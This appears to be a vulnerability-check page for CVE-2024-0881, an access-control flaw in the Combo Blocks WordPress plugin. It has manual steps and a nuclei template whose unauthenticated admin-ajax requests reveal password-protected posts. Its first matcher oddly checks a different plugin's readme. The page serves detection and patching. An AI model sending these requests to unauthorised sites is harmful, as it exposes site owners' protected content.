CVE-2024-0881· CWE-284
Combo Blocks < 2.2.76 - Improper Access Control
mediumseverity
16.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel WordPress plugin before 2.2.76 does not prevent password protected posts from being displayed in the result of some unauthenticated AJAX actions, allowing unauthenticated users to read such posts
Impact
Unauthenticated attackers can access password-protected posts bypassing authentication restrictions, potentially exposing sensitive content.
Fix
Update Combo Blocks plugin to version 2.2.76 or later.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/user-meta/readme.txt
Positive when: contains "User Profile Builder"
Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=post_grid_paginate_ajax_free ; GET {{BaseURL}}/wp-admin/admin-ajax.php?action=post_grid_ajax_search_free
Positive when: contains "{\"html\"" and "\"<div class=" and "\"pagination\":" AND status 200Run it with nuclei: nuclei -id CVE-2024-0881 -u <target>
The full check
id: CVE-2024-0881
info:
name: Combo Blocks < 2.2.76 - Improper Access Control
author: s4e-io
severity: medium
description: |
The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel WordPress plugin before 2.2.76 does not prevent password protected posts from being displayed in the result of some unauthenticated AJAX actions, allowing unauthenticated users to read such posts
impact: |
Unauthenticated attackers can access password-protected posts bypassing authentication restrictions, potentially exposing sensitive content.
remediation: |
Update Combo Blocks plugin to version 2.2.76 or later.
reference:
- https://wpscan.com/vulnerability/e460e926-6e9b-4e9f-b908-ba5c9c7fb290/
- https://github.com/fkie-cad/nvd-json-data-feeds
- https://nvd.nist.gov/vuln/detail/CVE-2024-0881
classification:
cve-id: CVE-2024-0881
cwe-id: CWE-284
epss-score: 0.16906
epss-percentile: 0.97077
metadata:
verified: true
max-request: 3
publicwww-query: "/wp-content/plugins/user-meta/"
tags: cve,cve2024,wp,wpscan,wordpress,wp-plugin,combo-blocks,exposure,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/user-meta/readme.txt"
matchers:
- type: word
internal: true
words:
- "User Profile Builder"
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=post_grid_paginate_ajax_free"
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=post_grid_ajax_search_free"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- '{"html"'
- '"<div class='
- '"pagination":'
condition: and
- type: status
status:
- 200References
- https://wpscan.com/vulnerability/e460e926-6e9b-4e9f-b908-ba5c9c7fb290/
- https://github.com/fkie-cad/nvd-json-data-feeds
- https://nvd.nist.gov/vuln/detail/CVE-2024-0881
Use this check only on systems you are authorised to test. Where the data comes from